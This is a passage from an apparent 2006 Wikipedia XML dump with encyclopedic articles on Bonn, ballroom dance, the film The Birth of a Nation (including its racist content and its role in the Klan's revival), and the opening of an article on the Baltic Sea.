{| style=&quot;float:right;clear:right&quot;
| [[Image:Bonn_Stadtbezirke.png|thumb|right|200px|Districts of Bonn]]
|-
|[[Image:Bonn_Rathaus.jpg|thumb|right|200px|Historic Town Hall]]
|-
|[[Image:Bonn_Muenster.jpg|thumb|right|200px|Münster Cathedral]]
|-
|[[Image:Godesburg 2 db.jpg|thumb|right|200px|Godesburg Fortress]]
|}

'''Bonn''' is a city in [[Germany]] (19th largest), in the [[States of Germany|Federal State]] of [[North Rhine-Westphalia]], located about 20 kilometres south of [[Cologne]] on the river [[Rhine]] in the north of the [[Siebengebirge]]. It was the [[capital]] of [[West Germany]] from 1949 to 1990. From 1288 to 1803 it was the residence of the [[Archbishopric of Cologne|Archbishops and Prince-electors of Cologne]].

----

==History==
The history of the city dates back to [[Roman Empire|Roman]] times. About [[10 BC]] the Romans constructed a bridge across the Rhine close to a place called &quot;Bonna&quot;. After the Roman defeat in the [[Battle of the Teutoburg Forest]] this small camp was enlarged to become a fort for 7000 legionnaires.

The fort became a town which remained after the Romans left. Between the 11th and 13th centuries, the [[Romanesque]] style ''Münster'' ([[cathedral]]) was built, and in 1597 it became the capital of the [[principality]] of Cologne. The town gained more influence and grew considerably. The [[Archbishopric of Cologne|elector]] [[Klemens August of Bavaria|Clemens August]] (ruled 1724-1761) ordered the construction of a series of [[Baroque]] buildings which still give the city its character. Another memorable ruler was Max Franz (ruled 1784-1794), who founded the university and the spa quarter of [[Bad Godesberg]]. In addition he was a patron of the young [[Ludwig van Beethoven]], who was born in the city in 1770; the elector financed the composer's first journey to [[Vienna]].

In 1794, the town was seized by [[France|French]] troops. It became a part of the [[Napoleon I of France|Napoleon]]ic Empire. In 1815 Bonn was taken by [[Prussia]] and remained a Prussian city until 1945. The town was of little relevance in these years.

Following [[World War II]] Bonn was in the [[United Kingdom|British]] zone of occupation, and in 1949 became the capital of [[West Germany]]. The choice of Bonn was made due to the advocacy of [[Konrad Adenauer]], a former [[Cologne]] Mayor and Chancellor of West Germany after World War II, who came from that area.

[[German reunification]] in 1990 made [[Berlin]] the nominal capital of Germany again. This decision did not mandate that the republic's political institutions would also move. This was only concluded by the ''[[Bundestag]]'' (Germany's parliament) on [[June 20]], [[1991]], after a heated debate. While the government and parliament moved, as a compromise, some of the ministries largely remained in Bonn, with only the top officials in Berlin. There was no plan to move these departments, and so Bonn remained a second, unofficial capital. Because of the necessary construction work, the move took until 1999 to complete.

The [[University of Bonn]], with about 30,000 students, is one of the largest in Germany.

==Districts==
In 1969, the independent towns of [[Bad Godesberg]] and [[Beuel]] as well as several villages were incorporated into Bonn, resulting in a city more than twice as large as before. Bad Godesberg and Beuel became districts (''Stadtbezirke'') of Bonn with some independence and populations of about 70,000 each.

==Buildings and structures==
*[[Beethoven-House]] [http://www.beethoven-haus-bonn.de/sixcms/detail.php//portal_en] 
*Botanischer Garten (Botanical Garden), where [[Titan arum]] reached a world record
*[[Poppelsdorf-Castle]] [http://de.wikipedia.org/wiki/Poppelsdorfer_Schloss] (german)
*United Nations Campus [http://www.bonn.de/wirtschaft_wissenschaft_internationales/uno-stadt/00779/index.html?lang=en]
* University
* Haus der Geschichte (museum of history)
* Museum Mile
* Kunstmuseum (art museum)
* [[Deutsches Museum]]
* Doppelkirche [[Double Church]] Schwarzrheindorf built in 1151
*[[Fortress Godesburg]] [http://www.bonn-region.de/ns/articleview_en.php?folderID=10204&amp;sub_folderID=10215&amp;articleID=623]

==[[Transportation]]==
Bonn is connected by three [[Autobahn|Autobahnen]] (motorways) and two railway lines including the High-Speed Train [[InterCity Express]]. Bonn's international airport is [[Cologne Bonn Airport]] with low-cost connections to many European cities and a direct connection to [[Newark Liberty International Airport|Newark]], New Jersey (Continental Airlines).

== [[Nightlife]] ==
Due to the 30000 students Bonn has about 550 pubs and bars including some Irish pubs. 
Bonn has one opera, 12 theaters and 20 cinemas. 
According to the [[Gault Millau]] 2006, Bonn has the most gourmet restaurants per head in Germany.

== [[Twin towns]] ==
* [[Image:Flag of the United Kingdom.svg|25px]] [[Oxford]], [[United Kingdom]] since 1947
* [[Image:Flag of Israel.svg|25px]] [[Tel Aviv-Jaffa]], [[Israel]] since 1983
* [[Image:Flag of Germany.svg|25px]] [[Potsdam]], [[Brandenburg]] (formerly [[GDR]]) since 1988
* [[Image:Flag of Hungary.svg|25px]] [[Budafok]], District XII of [[Budapest]], [[Hungary]] since 1991
* [[Image:Flag of Poland.svg|25px]] [[Opole]], [[Poland]] (officially since 1997; contacts were established 1954)
of the district of [[Bad Godesberg]]
* [[Image:Flag of France.svg|25px]] [[Saint-Cloud]], [[France]]
* [[Image:Flag of Italy.svg|25px]] [[Frascati]], [[Italy]]
* [[Image:Flag of the United Kingdom.svg|25px]] [[Royal Borough of Windsor and Maidenhead|Windsor and Maidenhead]], [[United Kingdom]]
* [[Image:Flag of Belgium.svg|25px]] [[Kortrijk]], [[Belgium]]
* [[Image:Flag of Turkey.svg|25px]] [[Yalova]], [[Turkey]]
of the district of Beuel
* [[Image:Flag of France.svg|25px]] [[Mirecourt]], [[France]]
of the district of Hardtberg
* [[Image:Flag of France.svg|25px]] [[Villemomble]], [[France]]

==See also== 
*[[History of Germany since 1945]]
*[[University of Bonn]]
*[[Maria Laach Abbey]]
*[[List of mayors of Bonn]]

==External links==
{{Commons|Bonn}}
*[http://www.bonn.de/index.html?lang=en Official Website] (English)
*[http://www.beethoven-haus-bonn.de Beethoven-Haus Bonn is the place, where Beethoven was born - contains a large archive of historic and modern documents related to Beethoven]
*[http://www.weihnachtsmarkt-bonn.info/ Bonn Christmas market (English)]
*[http://www.bonn-region.de/ns/default_en.php Tourist information]
*[http://www.bonn.de/tourismus_kultur_sport_freizeit/bonn_ist_kultur/museen/museumsmeile/index.html?lang=en &quot;The Museum Mile&quot;]
*[http://www.kah-bonn.de/index_e.htm Germany's Museum of Art in Bonn]
*[http://kunstmuseum.bonn.de/start_e.htm Bonn's Museum of Art]
*[http://www.museumkoenig.uni-bonn.de/ Natural history research museum]
*[http://www.hdg.de/indexeng.html Museum of German History since 1949]
*[http://www.deutsches-museum-bonn.de/ &quot;German Museum&quot; partially English]
*[http://www.firework.rhine-river.com/bonn/index.html Rhine in Flames - annual firework spectacle]
*[http://www.rheinkultur-festival.de/index.php?navi=700&amp;kategorie=8#eng Rhine culture - one of Germany`s biggest annual rock festivals with up to 170000 visitors]
----
{{Germany districts north rhine-westphalia}}
----
[[Category:Bonn|*]]
[[Category:Cities in North Rhine-Westphalia]]
[[Category:Roman legions camps]]
[[Category:Cities on the Rhine]]

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    <title>BritannicaPublicDomain</title>
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      <comment>correcting redirect</comment>
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    <title>Ballroom dance</title>
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      <comment>accid. deleted some historical info prev edit, restored.  Verbose folk dance section re-worded.   Dislike the tangent to line dances under &quot;classic ballroom&quot;...left alone as others may find useful?</comment>
      <text xml:space="preserve">'''Ballroom dance''' is a style of [[partner dance]] which originated in the [[Western world]] and is now enjoyed both [[social dance|socially]] and [[competitive dance|competitively]] around the globe.  Its [[performance dance|performance]] and [[entertainment]] aspects are also widely enjoyed on [[Theater|stage]], in [[film]], and on [[television]].

The term &quot;ballroom dancing&quot; is derived from the word ''[[Ball (dance)|ball]]'', which in turn originates from the [[Latin language|Latin]] word ''ballare'' which means &quot;to dance&quot;.

The definition of ballroom dance also depends on the era. Balls have featured [[Minuet]], [[Quadrille]], [[Polonaise]], [[Pas de Gras]], [[Mazurka]], and other popular dances of the day, which are considered to be [[historical dance]]s.

In times past, ballroom dancing was &quot;[[Social dance|social dancing]]&quot; for the privileged, leaving &quot;[[folk dancing]]&quot; for the lower classes.  These boundaries have since become blurred, and it should be noted even in times long gone, many &quot;ballroom&quot; dances were really elevated folk dances. 

Ballroom dancing has been in continual use as a social art form since its inception with one exception in the 20th century. Dance historians usually mark the appearance of the ''Twist'' in the mid [[1960s]] as the end of social partner dancing, and they credit what was then called the ''Latin Hustle'' for bringing it back in the late [[1970s]].

[[Image:TangoLesson6.jpg|frame|right|1914 dance illustration]]

==Competitive dancing==

In spite of its historical image as a pastime for the privileged; formal competitions, sometimes referred to as [[DanceSport]], often allow participation by less advanced dancers at various proficiency levels.  

In the United States, amateur dance proficiency levels are defined by [[USA Dance]] (formerly United States Amateur Ballroom Dance Association [USABDA]) as Bronze-&gt;Silver-&gt;Gold for syllabus dancers, and Novice-&gt;Prechampionship-&gt;Championship for open competitors.  These levels roughly correspond to the &quot;E&quot; to &quot;S&quot;  levels in Europe and Australia.  Among professionals, levels classify into Rising Star and Open Professional. 

Eligibility and &quot;leveling up&quot; requirements will vary greatly between countries and sometimes within.  For instance, in addition to USA Dance competitions, amateur dancers in the United States often participate in competitions sanctioned by NDCA or YCN (Youth Collegiate Network), each with its own distinct culture in addition to differing definitions of level and eligibility requirements.

The [[International Olympic Committee]] now recognizes [[competitive dance|competitive]] ballroom dance.  However, it has yet to be included in an [[Olympic Games]] but is among the ones in serious consideration to be added for 2012.

Ballroom dancing competitions in the former USSR also included the [[Soviet Ballroom dances]], or ''Soviet Programme.''  Australian [[New Vogue (dance)|New Vogue]] is danced both competitively and socially. In competition there are 15 recognised New Vogue dances, which are performed by the competitors in sequence.  Internationally, the [[Blackpool Dance Festival]], hosted annually at [[Blackpool]], [[England]], is considered the most prestigious event a dancesport competitior can attend.


==Medal examinations==

[[medal examinations (dance)|Medal examinations]] enable dancers' abilities to be recognized according to conventional standards.  In medal exams, each dancer performs two or more dances in a certain genre (e.g., International Standard) in front of a judge.  In North America, examination levels include Bronze, Silver, and Gold. Each level (i.e. Bronze, Silver, Gold) may be further subdivided into either two or four separate sections.

== Other dances sometimes classified as &quot;ballroom&quot; ==

All dances that are danced competitively are also danced in social settings.  Some of the more popular social dances include [[Nightclub Dance]]s such as [[Lindy Hop]], [[West Coast Swing]], and [[Hustle (dance)|Hustle]].  A number are proudly called [[Street dance]]s.  Nightclub dances are danced differently in different places, and club/street styles differ from the styles taught in ballroom studios.

In Europe, [[Latin Swing]] dances include [[Tango Argentino]], [[Mambo]], Lindy Hop, [[Swing Boogie]] (sometimes also known as [[Nostalgic Boogie]]), and [[Disco Fox]].

[[Country and Western dance]]s are danced both competitively and socially at Country &amp; Western bars, clubs, and ballrooms.  There is also a [[Rock 'n' Roll]] dance variant accepted as a social dance.

A related category is regional social dances. One example is the subcategory of [[Cajun dance]]s that originated in [[New Orleans, Louisiana|New Orleans]], with branches reaching both coasts of the [[United States]].

== Rogers and Astaire ==

The on-screen dance pairing of [[Fred Astaire]] and [[Ginger Rogers]] greatly influenced ballroom dancing.  Although both [[actor]]s had independent projects and careers (Astaire had many other partners and Rogers won an [[Academy Award]] for a dramatic role), their filmed dance sequences have reached iconic status.  Much of their work portrayed social dance, although their performances were highly choreographed (often by Astaire or [[Hermes Pan (choreographer)|Hermes Pan]]), meticuously staged, and continually rehearsed.  Ballroom dance historians note their portrayal of early 20th-century dancers [[Vernon and Irene Castle]].

Their work has greatly influenced the American-style ballroom syllabus.  [[Ballroom glossary#American Smooth|American Smooth]]  style was influenced greatly by the work of franchises such as [[Arthur Murray]] and [[Fred Astaire Dance Studios]] where 'Fred &amp; Ginger' classes and workshops remain popular.

== Classic ballroom ==

Classic and [[vintage dance]] societies are dedicated to the performance and preservation of ballroom dances of the past.  These companies perform at special events attired in traditional dance [[costume]].  Some instructors specialize in the dances of one place or time, or in [[fad dance]]s:  short-lived, time-specific dances that may be associated with the music or style of an era (such as [[The Twist]]) or a particular song (such as [[YMCA (song)|YMCA]] or [[Macarena (song)|La Macarena]]).


== Elements of Competition ==

In competition ballroom dancers are judged by multifarious criteria such as connection, frame, posture, speed, proper body alignment, proper usage of weight/ankles/feet, and grooming.  Judging in a performance-oriented sport is inevitably subjective in nature, and controversy and complaints by competitors over judging placements are not uncommon.  The scorekeepers--called [[scrutineers]]--will tally the total number recalls accumulated by each couple through each round until the finals, when the [[Skating system]] is used to place each couple by ordinals, typically 1-6, though the number of couples in the final can vary.


== Dance groupings ==

:'''International Standard'''
:[[Slow Waltz]] - [[Tango (dance)|Tango]] - [[Viennese Waltz]] - [[Foxtrot]] - [[Quickstep]]

:'''International Latin'''
:[[Cha-cha-cha (dance)|Cha cha]] - [[Samba (dance)|Samba]] - [[Rumba]] - [[Paso Doble]] - [[Jive (dance)|Jive]]

:'''American Smooth'''
:[[Waltz]] - [[Tango (dance)|Tango]] - [[Foxtrot]] - [[Viennese Waltz]] 

:'''American Rhythm'''
:[[Cha-cha-cha (dance)|Cha-cha]] - [[Rumba]] - [[East Coast Swing]] - [[Bolero]] - [[Mambo]] 

:'''Theater Arts'''

:'''Nightclub'''
:[[Nightclub Two-step]] - [[Hustle (dance)|Hustle]] - [[Modern Jive]] / [[LeRoc]] / [[Ceroc]] - and the whole swing variety: [[West Coast Swing]] / [[East Coast Swing]] / [[Lindy Hop]] / [[Carolina Shag]] / [[Collegiate Shag]] / [[Balboa (dance)|Balboa]]

:'''Latin nightclub'''
: [[Salsa (dance)|Salsa]] - [[Merengue (dance)|Merengue]] - [[Cumbia]] - [[Bachata]] - [[Cha-cha-cha (dance)|Cha-cha]]

: '''Country/Western'''
:[[Polka]] - [[Cha-cha-cha (dance)|Cha-cha]] - [[Two-step]] - [[Waltz]]...
:also referred to as &quot;Country and Western&quot; or C/W:
:[[Polka|C/W Polka]] - [[Cha-cha-cha (dance)|C/W Cha-cha]] - [[Two-step|C/W Two-step]] - [[Waltz|C/W Waltz]]...

: '''Cajun dances'''
:[[Cajun One Step]] - [[Two Step|Cajun Two Step]] - [[Zydeco]] - [[Waltz|Cajun Waltz]] - [[Cajun Jitterbug]]

:'''Other'''
:[[Tango (dance)|Argentine tango]]
:[[Polka]]
:[[Peabody (dance)|Peabody]]

== Dancesport world champions ==

*[[Dancesport World Champions (standard)|Standard World Champions]]
*[[Dancesport World Champions (latin)|Latin World Champions]]
*[[Dancesport World Champions (smooth)|Smooth World Champions]]
*[[Dancesport World Champions (rhythm)|Rhythm World Champions]]

==See also==
*[[Dance in film]]
*[[An American Ballroom Companion]], [[Library of Congress]] resource
*[[List of ballroom and social dance albums]]

==External links==
*[http://www.dancescape.com DanceScape, Social &amp; Competitive Dance Lifestyle, Culture &amp; Entertainment News]
*[http://www.dancescape.com/mydancefriends DanceScape Global Dance Forums - Chat with Dance Addicts Around the World]
*[http://www.globaldancedirectory.com Global Dance Directory]
*[http://www.dancescape.TV DanceScape.TV]
*[http://www.idsf.net International DanceSport Federation]
*[http://www.usabda.org U.S. Amateur Ballroom Dance Association]
*[http://www.dancesport.ca Canadian Amateur DanceSport Association]
*[http://www.universitydancesport.com/ Inter Varsity Dancesport Competitions and Forum]
*[http://www.dansplaza.com/ Danceplaza, The world's leading DanceSport plaza]

[[Category:Social dance]]
[[Category:Ballroom dance|*]]

[[de:Gesellschaftstanz]]
[[de:Standardtanz]]
[[es:Baile de salón]]
[[nl:Stijldans]]
[[pl:Taniec towarzyski]]
[[pt:Dança de salão]]
[[ru:Бальные танцы]]
[[sl:Standardni plesi]]
[[sv:Pardans]]
[[zh:社交舞]]</text>
    </revision>
  </page>
  <page>
    <title>The Birth of a Nation</title>
    <id>3333</id>
    <revision>
      <id>42108360</id>
      <timestamp>2006-03-03T21:55:37Z</timestamp>
      <contributor>
        <username>Bozoid</username>
        <id>333399</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Infobox Film |
  name     = The Birth of a Nation |
  image          = Birth-of-a-nation-poster-color.jpg|
  director       = [[D.W. Griffith]] |
  writer         = [[Thomas Dixon (minister)|Thomas F. Dixon Jr.]] |
  starring       = [[Lilian Gish]]|
  producer       = D.W. Griffith |
  distributor    = |
  released   = [[February 8]], [[1915]] ([[Los Angeles, California|Los Angeles]]) |
  runtime        = 190 min (125 min video version) |
  language = Silent |
  budget         = $110,000 USD (est.) |
  imdb_id        = 0004972 |
}}
'''''The Birth of a Nation''''' was the most popular film of the silent era. Its innovative techniques made it an important silent film. However, the film glorified slavery, provided historical justification for [[segregation]] and [[disfranchisement]] of [[African American]] people. The message embedded in the film was that [[Reconstruction]] was an unqualified disaster, that African Americans could never be integrated into white society as equals, and that the violent actions of the [[Ku Klux Klan]] were justified because they were necessary to reestablish legitimate and honest government. [http://www.digitalhistory.uh.edu/historyonline/slaveryfilm.cfm]

The film is highly controversial but also an influential and innovative [[silent film]] directed by [[D.W. Griffith]], based on [[Thomas Dixon (minister)|Thomas Dixon]]'s novels ''[[The Clansman]]'' (also a play) and ''[[The Leopard's Spots]]''. It was released in [[1915]] and has been credited with securing the future of feature length films (any film over an hour in length) as well as solidifying the codes of film language. The film premiered on [[February 8]], [[1915]] in [[Los Angeles, California]] under the title ''The Clansman'', but was retitled at its world premiere in [[New York]] three months later.

The title was changed from ''The Clansman'' to ''The Birth of a Nation'' to reflect the filmmakers' belief that before the [[American Civil War]], the [[United States]] was a loose coalition of states antagonistic toward each other, and that the Northern victory over the breakaway states in the [[Southern United States|South]] finally bound the states under one national authority.{{ref|1}}  The film's controversy is in its premise that the [[Ku Klux Klan]] arose to restore order to the post-war South, as it was &quot;endangered&quot; by &quot;uncontrollable&quot; [[African American]] denizens and their allies, [[abolitionists]], [[mulatto]]s and [[Carpetbagger|carpetbagging]] [[United States Republican Party|Republican]] politicians from the North. ''The Birth of a Nation'' has been linked to the second emergence of the Ku Klux Klan, which was revived the year of the film's release after a period of virtual non-existence since the [[1870s]].
[http://www.digitalhistory.uh.edu/historyonline/slaveryfilm.cfm]
Though popular and lucrative, the film drew significant protest upon its release. Premieres of the film were widely protested by the newly founded [[National Association for the Advancement of Colored People|NAACP]]. Griffith was surprised by the harsh criticism and tried to address the issues raised in his next major project, ''[[Intolerance (movie)|Intolerance]]''. He later produced the other epic film that glorifies slavery, ''Gone With the Wind.'' 

''Gone With the Wind'' &quot;presented, in the words of one critic, 'a reassuring portrayal of antebellum gentility, racial harmony, and black docility.' Although it did not use white actors in blackface, like ''Birth of a Nation'', its depiction of enslaved African Americans as loyal but scatter-brained house servants and cowering, clumsy field hands conformed to earlier stereotypes.'&quot; [http://www.digitalhistory.uh.edu/historyonline/slaveryfilm.cfm]

Until ''[[The Big Parade]]'' surpassed it in [[1925]], ''The Birth of a Nation'' was the highest grossing film, taking in more than $10 million at the box office (what would be $180 million in 2006). It is still studied by film and cultural historians alike, and in 1992 the United States [[Library of Congress]] deemed it &quot;[[culturally significant]]&quot; and selected it for preservation in the [[National Film Registry]].

==Cast==
*[[Sam De Grasse]]
*[[Lillian Gish]]
*[[Robert Harron]]
*[[Mae Marsh]]
*[[Miriam Cooper]]
*[[Wallace Reid]]
*[[Henry B. Walthall]]
*[[Mary Alden]]
*[[Elmer Clifton]]
*[[Josephine Crowell]]
*[[Kevin Flavin]]
*[[Robert Cheek]]
*[[Hamilton Mitchell]]

==Production==
[[Image:Birth-of-a-nation-klan-and-black-man.jpg|thumb|right|300px|Hooded Klansmen, hiding their faces, catch Gus, a black man whom the filmmaker, in stereotypical fashion, described as &quot;a renegade, a product of the vicious doctrines spread by the carpetbaggers.&quot;]]

''The Birth of a Nation'' pioneered such techniques as [[deep focus]], [[jump-cut]], and facial [[close-up]], which are now considered integral to the industry. It also contains many new cinematic innovations, special effects, and artistic techniques, including a color sequence at the end. It shattered box office records at the time and was also the longest film to date. For these reasons, it was voted one of the &quot;Top 100 American Films&quot; (# 44) by the [[American Film Institute]] in [[1998]].

Griffith based the script on the novel ''[[The Clansman]]'' by [[Thomas Dixon]]. He agreed to pay $10,000 for the rights, but ran out of money and could only afford $2,500 of the original option. For the balance, he offered Dixon 25 percent interest in the picture. Dixon reluctantly agreed. At the time, Dixon's proceeds were the largest sum any author received for a motion-picture story - several million dollars.

Griffith filled the film with anti-black incidents; arrogant freedmen pushing whites off sidewalks, preaching marriage between the races, and killing blacks who remained loyal to their masters. The film's characters are stereotypes: loyal house servants; deluded and ignorant field hands; arrogant mulattoes lusting after Southern white women; and the Ku Klux Klan made up of gallant ex-Confederate officers. [[http://www.digitalhistory.uh.edu/historyonline/slaveryfilm.cfm ]]

''The Birth of a Nation'' helped to justify the denial of civil rights to African Americans. The turn of the century witnessed the nadir of race relations in the United States. [[Lynching]] was widespread. Race riots directed against African Americans took place in many cities. African Americans in the South were relegated to separate schools, hotels, and restaurants and were denied the right to vote.
[[http://www.digitalhistory.uh.edu/historyonline/slaveryfilm.cfm ]]

Although the film made use of some black actors, some were played in [[blackface]]. In particular, any actor who was to come in contact with a white actress was played in black face. For example, the Cameron's maid is both white and obviously male.

Griffith's budget started at $40,000, but the film ultimately cost $110,000 ($2,000,000 in 2006). As a result, Griffith constantly had to seek new sources of capital for his film. A ticket to the film cost a record $2 ($36 in 2006). However, it remained the most profitable film of all time until it was dethroned by ''[[Snow White and the Seven Dwarfs (1937 film)|Snow White and the Seven Dwarfs]]'' ([[1937]]).

West Point engineers provided technical advice on the [[American Civil War|Civil War]] battle scenes and provided Griffith with artillery. [Source: &quot;When Hollywood's Big Guns Come Right From the Source&quot; Katharine Q. Seelye, ''New York Times'',  June 10, 2002]

==Plot summary==
{{spoiler}}
The film was presented in two parts divided by an [[intermission]]. Part one depicts pre-[[American Civil War|Civil War]] [[United States|America]] introducing two juxtaposed families: the Northern '''Stonemans''', consisting of [[Abolitionism|abolitionist]] Congressman [[Austin Stoneman]] (based on real-life [[Reconstruction]] [[US Senate|Senator]] [[Thaddeus Stevens]]), his two sons, and his daughter, [[Elsie Stoneman|Elsie]] and the Southern '''Camerons''', a family including two daughters (Margaret and Flora) and three sons, most notably [[Ben Cameron]]. 

The Stoneman boys visit the Camerons at their [[South Carolina]] estate, a pinnacle of the [[Old South]], and all it represents. The eldest Stoneman boy falls in love with Margaret Cameron, and Ben Cameron idolizes a picture of Elsie Stoneman. When Civil War begins, all of the boys join their respective armies. A Black militia (with a white leader) ransacks the Cameron house, almost despoiling all the Cameron women, who are rescued when Confederate soldiers rout the Black militia. Meanwhile, the youngest Stoneman and two Cameron boys are killed in the war. Ben Cameron is wounded and taken to a Northern hospital where he meets Elsie, a nurse. The war ends and [[Abraham Lincoln]] is assassinated at [[Ford's Theater]], allowing Austin Stoneman and other radical congressmen to punish the South for [[secession]] with [[Reconstruction]].
[[Image:Flora-birth-of-a-nation.jpg|frame|right|Flora Cameron runs away from Gus]]
Part two begins to depict Reconstruction. Stoneman and his [[mulatto]] sidekick [[Silas Lynch]] go to South Carolina to personally observe their agenda of empowering Southern blacks via election fraud. Meanwhile, Ben Cameron, inspired observing children pretending to be ghosts, devises a plan to reverse perceived powerlessness of Southern whites by forming the [[Ku Klux Klan]], although his membership in the group angers Elsie Stoneman. Then, Gus, a murderous former slave, with designs on white women, rudely proposes to marry Flora Cameron. She flees into the forest, pursued by Gus. Trapped on a precipice, Flora chooses death to avoid letting herself be touched by a Black man. 

In response the Klan hunts Gus, lynches him, and leaves his corpse on Lieutenant Governor Silas Lynch's doorstep. In retaliation, Lynch orders a crackdown on the Klan. The Camerons flee the African-American militia and hide out in a country home. Meanwhile, with Austin Stoneman gone, Lynch tries to force Elsie to marry him. Disguised Klansmen discover her situation and leave to get reinforcements. The Klan, now at full strength, rides to her rescue and takes the opportunity to evict all of the Blacks. Simultaneously, Lynch's militia surrounds the Cameron's country home, but the Klan saves them just in time. Victorious, the Klansmen celebrate in the streets, and the film cuts to the next election where the Klan successfully [[disenfranchise]]s black voters. The film concludes with a double honeymoon of Phil Stoneman and Margaret Cameron and Ben Cameron with Elsie Stoneman. The final frame shows masses oppressed by a warlike ruler transformed into angelic figures under a [[Christ]]-like representation.  The final title rhetorically asks: &quot;Dare we dream of a golden day when the bestial War shall rule no more. But instead-the gentle Prince in the Hall of Brotherly Love in the City of Peace.&quot;

==Political influence==
[[Image:Naacp-birth-of-a-nation-protest.jpg|thumb|right|200px|An NAACP protest against the film.]]

''The Birth of a Nation'' and ''Gone with the Wind'' were highly influential Hollywood films in that they both provide a positive view of [[slavery]] and helped shape the way Americans have thought about [[African American]] people whose ancestors were enslaved by the plantation owners glorified in both of these films.
[http://www.digitalhistory.uh.edu/modules/slavery/]

''The Birth of a Nation'' created a craze among white people in favor of the violent activities of the [[Ku Klux Klan]]. The film is widely credited with creating the cultural context for the rebirth of the Klan, whose membership shot up after it opened in theatres. At a preview in Los Angeles, actors dressed as Klansmen were hired to ride by as a promotional stunt, and real-life members of the newly reorganized Klan rode up and down the street at its later official premiere in [[Atlanta, Georgia]]. In some cases, enthusiastic Southern audiences fired their guns into the screen.{{citationneeded}} Along with the lynching of [[Leo Frank]] in the same year, the film was one of the major factors that built momentum for the organization of the second [[Ku Klux Klan]] at [[Stone Mountain]], [[Georgia (U.S. state) |Georgia]], in [[1915]], after a period of dormancy that had lasted since federal suppression of the violently racist Klan in [[1877]].

[[Image:Wilson-quote-in-birth-of-a-nation.jpg|thumb|left|300px|The Griffith film falsely attributes this statement to then U.S. President [[Woodrow Wilson]].]]
[[Woodrow Wilson]]'s ''History of the American People'' is repeatedly quoted in ''The Birth of a Nation''. Wilson saw the film in a special White House screening on February 18, 1915. Hollywood press agents invented a story that Wilson exclaimed, &quot;It is like writing history with lightning, and my only regret is that it is all so terribly true.&quot;  The story was false, according to an official White House statement. Film critic/historian [[Roger Ebert]] has stated that '''no one''' has found any evidence that Wilson made the statement, which was widely circulated by Hollywood press agents.[http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=/20030330/REVIEWS08/303300301/1023]  

Wilson's top aide wrote them that &quot;...the President was entirely unaware of the nature of the play before it was presented and at no time has expressed his approbation of it.&quot;--[Letter from J. M. Tumulty, secretary to President Wilson, to the Boston branch of the [[NAACP]].] 

Several [[Independent film|independent]] black filmmakers released director [[Emmett J. Scott]]'s ''[[The Birth of a Race]]'' (1919) in response to ''The Birth of a Nation''. The film, which portrayed a positive image of African Americans, was panned by white critics, but was well-received by critics at black-owned newspapers and black movie-goers attending segregated theaters.

==Notes==
# {{note|1}} Russell Merritt, &quot;Dixon, Griffith, and the Southern Legend.&quot; ''Cinema Journal'', Vol. 12, No. 1. (Autumn, 1972).

== External links ==
{{commonscat|Birth of a Nation}}
*{{imdb title|id=0004972|title=The Birth of a Nation}}
* [http://www.djspooky.com/art/birth.html Rebirth of a Nation] - a remix by D.J. Spooky (Flash required)
* [http://chnm.gmu.edu/features/episodes/birthofanation.html &quot;Art (and History) by Lightning Flash&quot;: ''The Birth of a Nation'' and Black Protest]
* [http://rogerebert.suntimes.com/apps/pbcs.dll/article?AID=/20030330/REVIEWS08/303300301/1023 ''The Birth of a Nation''] on [[Roger Ebert]]'s list of great movies
* [http://www.epinions.com/content_197763698308 A humorous critique of the film] at [http://www.epinions.com Epinions.com]

[[Category:1915 films|Birth of a Nation]]
[[Category:2004 books|Birth of a Nation]]
[[Category:Films based on fiction books|Birth of a Nation, The]]
[[Category:Films based on plays|Birth of a Nation, The]]
[[Category:Race-related films|Birth of a Nation, The]]
[[Category:United States National Film Registry|Birth of a Nation, The]]
[[Category:History of the Southern United States|Birth of a Nation, The]]

[[de:Geburt einer Nation]]
[[es:El nacimiento de una nación (película)]]
[[fr:Naissance d'une nation]]
[[hu:Egy nemzet születése]]
[[pt:O Nascimento de uma Nação]]
[[sv:Nationens födelse]]</text>
    </revision>
  </page>
  <page>
    <title>Baltic Sea</title>
    <id>3335</id>
    <revision>
      <id>42029372</id>
      <timestamp>2006-03-03T08:49:45Z</timestamp>
      <contributor>
        <username>Plumbago</username>
        <id>125900</id>
      </contributor>
      <minor />
      <comment>/* Reference */ pluralise (hopefully!)</comment>
      <text xml:space="preserve">The '''Baltic Sea''' is located in [[Northern Europe]], from 53 deg. to 66 deg. north [[latitude]] and from 20 deg. to 26 deg. east [[longitude]]. It is bounded by the [[Scandinavian Peninsula]], the mainlands of [[Northern Europe]], [[Eastern Europe]], [[Central Europe]], and the [[Denmark|Danish]] islands. It drains into the [[Kattegat]] by way of the [[Öresund]], the [[Great Belt]] and the [[Little Belt]]. Kattegat then continues in the [[Skagerrak]] into the [[North Sea]] and the [[Atlantic Ocean]]. The Baltic Sea is linked to the [[White Sea]] by the [[White Sea Canal]] and directly to the North Sea by the [[Kiel Canal]].

[[Image:Baltic sea map.jpg|thumb|320px|The Baltic Sea]]

==Name==
The first to name it the ''Baltic Sea'' was [[Adam of Bremen]] and he seems to have based it on a large island, [[Baltia]], mentioned by [[Xenophon]] and located in northern Europe.

===Etymology===
It is possibly connected to the Germanic ''belt'', a name used for some of the Danish straits, while others claim it to be derived from [[Latin]] ''balteus'' (belt){{ref|Latin-etymology}}. From this use, ''Baltic'' has been applied to the [[Baltic countries]]. Another proposed derivation from the [[Indo-European]] root [http://starling.rinet.ru/cgi-bin/response.cgi?single=1&amp;basename=/data/ie/piet&amp;text_number=+129&amp;root=config *''bhel''] meaning ''white, shining'' (note that 'baltas' means 'white' in today's [[Lithuanian language]], for example) seems speculative, however.

===The name in other languages===
The Baltic Sea is known by the equivalents of &quot;East Sea&quot;, &quot;West Sea&quot;, or &quot;Baltic Sea&quot; in different languages:

*In the ''[[Germanic languages]]'' except English '''''East Sea''''' is used: [[Danish language|Danish]] (''Østersøen''), [[Dutch language|Dutch]] (''Oostzee''), [[German language|German]] (''Ostsee''), [[Norwegian language|Norwegian]] (''Østersjøen''), and [[Swedish language|Swedish]] (''Östersjön''); in addition, [[Finnish language|Finnish]], a ''[[Balto-Finnic languages|Balto-Finnic language]]'' has [[calque]]d the Swedish term as ''Itämeri'', disregarding the geography; the sea is west of Finland.

*In another ''[[Balto-Finnic languages|Balto-Finnic language]]'', [[Estonian language|Estonian]], it is called the '''''West Sea''''' (''Läänemeri'').

